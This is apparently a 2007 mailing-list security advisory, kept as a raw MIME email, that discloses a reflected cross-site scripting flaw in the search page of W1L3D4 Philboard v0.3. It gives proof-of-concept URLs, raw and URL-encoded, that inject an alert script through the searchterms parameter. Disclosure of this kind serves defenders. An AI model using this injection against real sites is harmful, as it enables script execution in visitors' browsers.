philboard-xss.txt
Posted on 25 July 2007
------=_Part_113167_26183988.1185316931798 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline W1L3D4 Philboard v0.3 XSS Vulnerability #Software: W1L3D4 Philboard v0.3 #download: http://www.aspindir.com/goster/4891 #demo: http://sgportal.somee.com/ #Found By: GeFORC3 | G3 #Exploit: http://site.com/script_path/W1L3D4_aramasonuc.asp?searchterms= "><script>alert("g3");</script> http://site.com/script_path/W1L3D4_aramasonuc.asp?searchterms=%22%3E%3Cscript%3Ealert%28%22g3%22%29%3B%3C%2Fscript%3E&searchuser= This xss works on W1L3D4 Philboard v0.3 search (arama) WwW.GeFORC3.Org | WwW.HeykirBlog.Org | WwW.NetKaBus.Com ------=_Part_113167_26183988.1185316931798 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline W1L3D4 Philboard v0.3 XSS Vulnerability<br><br>#Software: W1L3D4 Philboard v0.3<br>#download: <a href="http://www.aspindir.com/goster/4891">http://www.aspindir.com/goster/4891</a><br>#demo: <a href="http://sgportal.somee.com/"> http://sgportal.somee.com/</a><br>#Found By: GeFORC3 | G3<br><br>#Exploit:<br><br><a href="http://site.com/script_path/W1L3D4_aramasonuc.asp?searchterms=">http://site.com/script_path/W1L3D4_aramasonuc.asp?searchterms=</a> "><script>alert("g3");</script><br><br><a href="http://site.com/script_path/W1L3D4_aramasonuc.asp?searchterms=%22%3E%3Cscript%3Ealert%28%22g3%22%29%3B%3C%2Fscript%3E&searchuser=">http://site.com/script_path/W1L3D4_aramasonuc.asp?searchterms=%22%3E%3Cscript%3Ealert%28%22g3%22%29%3B%3C%2Fscript%3E&searchuser= </a><br><br>This xss works on W1L3D4 Philboard v0.3 search (arama)<br><br><br><a href="http://WwW.GeFORC3.Org">WwW.GeFORC3.Org</a> | <a href="http://WwW.HeykirBlog.Org">WwW.HeykirBlog.Org</a> | <a href="http://WwW.NetKaBus.Com"> WwW.NetKaBus.Com</a> ------=_Part_113167_26183988.1185316931798--
